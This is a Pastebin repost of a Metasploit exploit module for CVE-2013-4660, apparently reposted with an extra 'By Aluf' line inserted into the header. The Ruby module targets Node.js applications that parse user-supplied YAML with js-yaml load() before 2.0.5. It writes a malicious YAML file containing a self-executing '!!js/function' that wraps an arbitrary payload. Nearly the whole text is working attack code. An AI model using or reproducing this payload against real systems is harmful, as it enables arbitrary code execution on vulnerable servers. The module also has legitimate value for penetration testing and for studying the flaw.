Advertisement
Aluf

Nodejs js-yaml load() Code Exec

Jan 31st, 2015
310
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.58 KB | None | 0 0
  1. ##
  2. # This file is part of the Metasploit Framework and may be subject to
  3. # redistribution and commercial restrictions. Please see the Metasploit
  4. # By Aluf
  5. # web site for more information on licensing and terms of use.
  6. # http://metasploit.com/
  7. ##
  8.  
  9. require 'msf/core'
  10.  
  11. class Metasploit3 < Msf::Exploit::Remote
  12. Rank = ExcellentRanking
  13.  
  14. include Msf::Exploit::FILEFORMAT
  15.  
  16. def initialize(info = {})
  17. super(update_info(info,
  18. 'Name' => 'Nodejs js-yaml load() Code Exec',
  19. 'Description' => %q{
  20. For node.js applications that parse user-supplied YAML input using the
  21. load() function from the 'js-yaml' package < 2.0.5, specifying a self-executing
  22. function allows us to execute arbitrary javascript code.
  23. },
  24. 'Author' => ['joev <jvennix[at]rapid7.com>'],
  25. 'License' => MSF_LICENSE,
  26. 'References' =>
  27. [
  28. ['CVE', '2013-4660'],
  29. ['URL', 'https://nealpoole.com/blog/2013/06/code-execution-via-yaml-in-js-yaml-nodejs-module/']
  30. ],
  31. 'Platform' => 'nodejs',
  32. 'Arch' => ARCH_NODEJS,
  33. 'Privileged' => false,
  34. 'Targets' => [['Automatic', {}]],
  35. 'DisclosureDate' => 'Jun 28 2013',
  36. 'DefaultTarget' => 0))
  37.  
  38. register_options([
  39. OptString.new('FILENAME', [ true, 'The file name.', 'msf.yml'])
  40. ], self.class)
  41. end
  42.  
  43. def exploit
  44. p = payload.encoded
  45. print_status("Creating '#{datastore['FILENAME']}' file...")
  46. file_create("a: !!js/function >\n (function(){ #{p} })();")
  47. end
  48. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement